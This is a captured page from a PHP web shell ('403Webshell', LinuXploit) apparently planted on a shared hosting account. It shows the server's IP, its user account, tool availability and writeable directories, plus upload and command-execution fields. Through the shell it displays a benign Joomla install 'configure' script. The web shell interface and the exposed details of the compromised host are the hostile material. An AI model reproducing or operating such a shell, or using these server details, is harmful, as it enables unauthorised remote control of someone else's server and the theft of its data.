403Webshell
Server IP : 217.160.0.15  /  Your IP : 216.73.216.73
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : u37981780 ( 1696858)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /homepages/oneclick/joomla/3.6.2/1/scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /homepages/oneclick/joomla/3.6.2/1/scripts/configure
<?php
ini_set('include_path', '.');

use Aps\App\Joomla as App;

require_once('env-parser.php');
require_once('file-util.php');
require_once('db-util.php');
require_once('app-util.php');
require_once('upgrade-app.php');
require_once('custom.php');
require_once('update_manifest_cache.php');
require_once('joomla-upgrade.php');

$psa_params = array();
$db_ids = array('main');
$web_ids = array('administrator', 'backups', 'components', 'language', 'modules', 'templates', 'cache', 'cache', 'components', 'images', 'banners', 'stories', 'language', 'modules', 'plugins', 'templates', 'tmp', 'configuration.php', '/');
$settings_params = array('admin_name', 'admin_email', 'title', 'sample_data');
$settings_enum_params = array('locale' => array('en-GB' => 'en-GB', 'fr-FR' => 'fr-FR', 'de-DE' => 'de-DE', 'es-ES' => 'es-ES', 'nl-NL' => 'nl-NL', 'ru-RU' => 'ru-RU', 'da-DK' => 'da-DK', 'nb-NO' => 'nb-NO', 'it-IT' => 'it-IT', 'ja-JP' => 'ja-JP', 'pl-PL' => 'pl-PL', 'zh-TW' => 'zh-TW', 'zh-CN' => 'zh-CN'));
$crypt_settings_params = array('admin_password');

$psa_modify_hash = get_psa_modify_hash($psa_params);
$db_modify_hash = get_db_modify_hash($db_ids);
$web_modify_hash = get_web_modify_hash($web_ids);
$settings_modify_hash = get_settings_modify_hash($settings_params);

if(isset($settings_modify_hash['@@SMTP_HOST@@']))
{
	if(strlen($settings_modify_hash['@@SMTP_HOST@@']) > 0 && $settings_modify_hash['@@SMTP_HOST@@'] != 'joomla.org')
	{
		$settings_modify_hash['@@MAILER@@'] = "smtp";
	}
	else
	{
		$settings_modify_hash['@@MAILER@@'] = "mail";
	}
}

$settings_enum_modify_hash = get_settings_enum_modify_hash($settings_enum_params);
$crypt_settings_modify_hash = get_crypt_settings_modify_hash($crypt_settings_params);
$additional_modify_hash = get_additional_modify_hash();

$additional_modify_hash['@@JOOMLA_VERSION_ID@@'] = '3.6.1';
$_SERVER['HTTP_HOST'] = $psa_modify_hash['@@BASE_URL_HOST@@'];

// Check whether the installation is made on a product domain
$product_domain = isProductDomain($psa_modify_hash['@@BASE_URL_HOST@@']);

$config_file_template = 'configuration.php.in';
$config_files = array('/' => array(array($config_file_template, 'configuration.php')), '/cgi-bin' => array());

$reconfig_files = array();
//$upgrade_files = $config_files;
$schema_files = array('schema.sql' => 'main');
$reconf_schema_files = array('reconfigure.sql' => 'main');

if(count($argv) < 2)
{
	print "Usage: configure (install | upgrade <version> | configure | remove)\n";
	exit(1);
}

$command = $argv[1];

if($command == "upgrade")
{
	if($argv[2] && $argv[3])
	{
		// require upgrade file
	    require_once __DIR__ . '/Upgrader.php';

        // do upgrade
        $ctrl = new App\Upgrader;
        $ctrl->execute($argv[2], $argv[3]);

        // create .htaccess file
        createHtaccessFile($psa_modify_hash["@@"."BASE_URL_PATH"."@@"], $psa_modify_hash["@@"."ROOT_DIR"."@@"]);

        // create robots.txt file
        createRobotsFile($psa_modify_hash["@@"."ROOT_DIR"."@@"], $product_domain);

        // success
        exit(0);
	}
	else
	{
		print "Error: upgrade version or release not specified.\n";
		exit(1);
	}
}
elseif($command == "install")
{
    //$newSchema = array('schema_new.sql' => 'main');
    configure($config_files, $schema_files, $db_ids, $psa_modify_hash, $db_modify_hash, $settings_modify_hash, $crypt_settings_modify_hash, $settings_enum_modify_hash, $additional_modify_hash);

	//Update manifest_cache extensions table
	manifest_cache_update($psa_modify_hash["@@"."ROOT_DIR"."@@"]);

	install_extra_component($psa_modify_hash["@@"."ROOT_DIR"."@@"], $settings_enum_modify_hash['@@LOCALE@@']);

	// removing 1.7.x.sql files to avoid error message in Extensions -> Database
	removeJoomla17UpgradeScripts($psa_modify_hash["@@"."ROOT_DIR"."@@"]);

	// Run the core functionality to get correct database
	JLoad::loadFramework($psa_modify_hash['@@ROOT_DIR@@']);
	JFixDatabase::fixIt();

	// Create .htaccess for SEF settings
	createHtaccessFile($psa_modify_hash["@@"."BASE_URL_PATH"."@@"], $psa_modify_hash["@@"."ROOT_DIR"."@@"]);

	// Create robots.txt file - nofollow, noindex for product domains
	createRobotsFile($psa_modify_hash["@@"."ROOT_DIR"."@@"], $product_domain);

	exit(0);
}
elseif($command == "remove")
{
	require_once 'remove.php';

	exit(0);
}
elseif($command == "configure")
{
	// Preserve all settings except ones that we change (ones defined in metadata)
	$old_config = $psa_modify_hash["@@"."ROOT_DIR"."@@"]."/configuration.php";

	if(file_exists($old_config))
	{
		// This settings should be reset if the mode is changed because this data is provided again
		$meta_settings = array('sitename', 'dbtype', 'host', 'user', 'password', 'db', 'dbprefix', 'mailer', 'mailfrom', 'fromname', 'log_path', 'tmp_path', 'smtpport', 'smtphost');
		$old_content = read_file($old_config);

		if(preg_match('/class JConfig /', $old_content))
		{
			rebuild_config_file($old_config, $config_file_template, $psa_modify_hash["@@"."ROOT_DIR"."@@"]."/tmp/configuration.php.in", $meta_settings);

			$reconfig_files = array('/' => array(array($psa_modify_hash["@@"."ROOT_DIR"."@@"].'/tmp/configuration.php.in', 'configuration.php')), '/cgi-bin' => array());
			$upgrade_files = array('/' => array(array($psa_modify_hash["@@"."ROOT_DIR"."@@"].'/tmp/configuration.php.in', 'configuration.php')), '/cgi-bin' => array());
		}
	}

	configure($reconfig_files, $reconf_schema_files, $db_ids, $psa_modify_hash, $db_modify_hash, $settings_modify_hash, $crypt_settings_modify_hash, $settings_enum_modify_hash, $additional_modify_hash);

	install_component($settings_enum_modify_hash['@@LOCALE@@'].'_joomla_lang_full.zip', $psa_modify_hash["@@"."ROOT_DIR"."@@"]);

	// Run the core functionality to set the default language
	JLoad::loadFramework($psa_modify_hash['@@ROOT_DIR@@']);
	JSetDefaultLanguage::setLanguage($settings_enum_modify_hash['@@LOCALE@@']);

	// Create .htaccess for SEF settings
	createHtaccessFile($psa_modify_hash["@@"."BASE_URL_PATH"."@@"], $psa_modify_hash["@@"."ROOT_DIR"."@@"]);

	// Create robots.txt file - nofollow, noindex for product domains
	createRobotsFile($psa_modify_hash["@@"."ROOT_DIR"."@@"], $product_domain);

	// Empty cache folder
	clean_up_installation($psa_modify_hash["@@"."ROOT_DIR"."@@"].'/cache', true, true, false);

	//Empty tmp folder - do not delete distributives folder
	clean_up_installation($psa_modify_hash["@@"."ROOT_DIR"."@@"].'/tmp', true, true, false, array('distributives'));

	exit(0);
}

print "Error: unknown command $command.\n";

exit(1);

Youez - 2016 - github.com/yon3zu
LinuXploit